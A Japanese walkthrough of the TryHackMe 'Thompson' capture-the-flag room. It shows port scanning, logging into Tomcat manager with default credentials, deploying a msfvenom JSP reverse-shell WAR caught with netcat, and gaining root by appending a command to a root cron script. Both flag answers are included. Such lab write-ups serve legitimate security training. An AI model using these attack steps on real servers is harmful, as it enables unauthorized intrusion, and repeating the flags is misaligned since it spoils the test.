概要
TryHackMe「Thompson」のWalkthroughです。
Task1
Q1.user.txt
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV 10.10.183.192 -oN nmap_result
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 06:23 EDT
Nmap scan report for 10.10.183.192
Host is up (0.24s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ssh:22
,ajp13:8009
,http:8080
のポートがオープンだとわかりました。
http://<ip>:8080
でWebサーバーにアクセスできました。
ポートスキャンやWebページからTomcat 8.5.5
が動作していると分かります。
exploitを検索するとGhostcat
とい脆弱性を発見しました。
この脆弱性を悪用するとファイルアップロード機能があればRCEを実行できそうです。
また、HackTricsも参考に攻撃を試みます。
ディレクトリの列挙をします。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.183.192:8080/FUZZ
docs [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 238ms]
manager [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 398ms]
/manager
にアクセスするとBasic認証が求められました。
認証に失敗した場合のエラー画面で、Username: tomcat
,Password: s3cret
と表示されたのでこの認証情報が使えるか試します。
上記の認証情報でログインを試すとTomcatの管理画面に入れました。
Deploy
項目からwarファイルをアップロード出来るので、ここからリバースシェルを試みます。
msfvenom
でpayloadファイルを作ります。
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
WAR file to deploy
から作成したwarファイルをアップロードします。
Netcatでリッスンします。
$ nc -lvnp 1234
そして/revshell/
にアクスするとコネクションが成功しました。
whoami
tomcat
/home/jack/user.txt
を閲覧してフラグゲットです。
cat /home/jack/user.txt
39400c90bc683a41a8935e4719f181bf
A.39400c90bc683a41a8935e4719f181bf
Q2.root.txt
pythonでTTYに接続します。
python -c 'import pty; pty.spawn("/bin/sh")'
/home/jack/id.sh
を見ると、idコマンドを実行して結果をtest.txt
に保存しているようです。
#!/bin/bash
id > test.txt
/home/jack/test.txt
を見ると、rootユーザーのIDが保存されていました。
uid=0(root) gid=0(root) groups=0(root)
/etc/crontab
を確認すると/home/jack/id.sh
がRootユーザーとして毎分id.sh
を実行していると分かります。
$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root cd /home/jack && bash id.sh
#
なので/root
配下にあるフラグファイルを読み込んでファイルに出力する処理をid.sh
に追記すればフラグを得られそうです。
id.sh
に/root/root.txt
の内容をtest.txt
に出力する処理を追記します。
$ echo "cat /root/root.txt > test.txt" >> id.sh
一分後、test.txt
にフラグが表示されました。
$ cat test.txt
cat test.txt
d89d5391984c0450a95497153ae7ca3a
A.d89d5391984c0450a95497153ae7ca3a